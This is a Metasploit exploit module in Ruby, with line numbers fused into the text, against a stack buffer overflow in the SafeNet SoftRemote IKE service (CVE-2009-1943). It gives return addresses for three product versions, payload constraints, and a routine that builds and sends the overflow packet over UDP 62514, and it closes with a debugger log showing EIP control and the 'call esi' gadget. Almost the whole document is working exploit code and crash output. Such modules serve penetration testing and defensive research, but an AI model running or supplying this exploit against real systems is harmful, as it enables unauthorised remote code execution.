Path: blob/master/modules/exploits/windows/vpn/safenet_ike_11.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SafeNet SoftRemote IKE Service Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe17service. When sending a specially crafted udp packet to port 62514 an18attacker may be able to execute arbitrary code. This module has19been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using20windows/meterpreter/reverse_ord_tcp payloads.21},22'Author' => [ 'MC' ],23'References' => [24[ 'CVE', '2009-1943' ],25[ 'OSVDB', '54831' ],26[ 'BID', '35154' ],27[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ],28],29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 213,34'BadChars' => "\x00\x0a\x20\x0d",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",37},38'Privileged' => true,39'Platform' => 'win',40'Targets' => [41[ 'SafeNet Irelke 10.8.0.20', { 'Ret' => 0x004514a9 } ],42[ 'SafeNet Irelke 10.8.0.10', { 'Ret' => 0x00451889 } ],43[ 'SafeNet Irelke 10.8.3.6', { 'Ret' => 0x00451929 } ],44],45'DisclosureDate' => '2009-06-01',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options([Opt::RPORT(62514)], self)56end5758def exploit59connect_udp6061sploit = [0x01000000].pack('V') # IPC packet62sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28).63sploit << payload.encoded64sploit << [target.ret].pack('V')65sploit << rand_text_alpha_upper(150)6667print_status("Trying target #{target.name}...")68udp_sock.put(sploit)6970select(nil, nil, nil, 5)71handler72disconnect_udp73end7475end76=begin770:013> g78(f7c.fe0): Access violation - code c0000005 (first chance)79First chance exceptions are reported before any exception handling.80This exception may be expected and handled.81eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=0000000082eip=41316841 esp=014af64c ebp=00000001 iopl=0 nv up ei pl nz na pe nc83cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=000102068441316841 ?? ???850:008> !pattern_offset 30086[Byakugan] Control of eax at offset 217.87[Byakugan] Control of eip at offset 213.880:008> d esp89014af64c 68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68 h2Ah3Ah4Ah5Ah6Ah90014af65c 37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 32 7Ah8Ah9Ai0Ai1Ai291014af66c 41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41 Ai3Ai4Ai5Ai6Ai7A92014af67c 69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6a i8Ai9Aj0Aj1Aj2Aj93014af68c 33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 38 3Aj4Aj5Aj6Aj7Aj894014af69c 41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41 Aj9Ak0Ak1Ak2Ak3A95014af6ac 6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6b k4Ak5Ak6Ak7Ak8Ak96014af6bc 39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 34 9Al0Al1Al2Al3Al4970:008> d esi9800dcfdf1 61 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61 a0Aa1Aa2Aa3Aa4Aa9900dcfe01 35 41 61 36 41 61 37 41-61 38 41 61 39 41 62 30 5Aa6Aa7Aa8Aa9Ab010000dcfe11 41 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41 Ab1Ab2Ab3Ab4Ab5A10100dcfe21 62 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63 b6Ab7Ab8Ab9Ac0Ac10200dcfe31 31 41 63 32 41 63 33 41-63 34 41 63 35 41 63 36 1Ac2Ac3Ac4Ac5Ac610300dcfe41 41 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41 Ac7Ac8Ac9Ad0Ad1A10400dcfe51 64 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64 d2Ad3Ad4Ad5Ad6Ad10500dcfe61 37 41 64 38 41 64 39 41-65 30 41 65 31 41 65 32 7Ad8Ad9Ae0Ae1Ae21060:008> s -b 0x00400000 0x0047c000 ff d6107.108.109004514a9 ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00 .....D$..D$.....1100:008> u 0x004514a9 L1111IreIKE+0x514a9:112004514a9 ffd6 call esi113=end114115116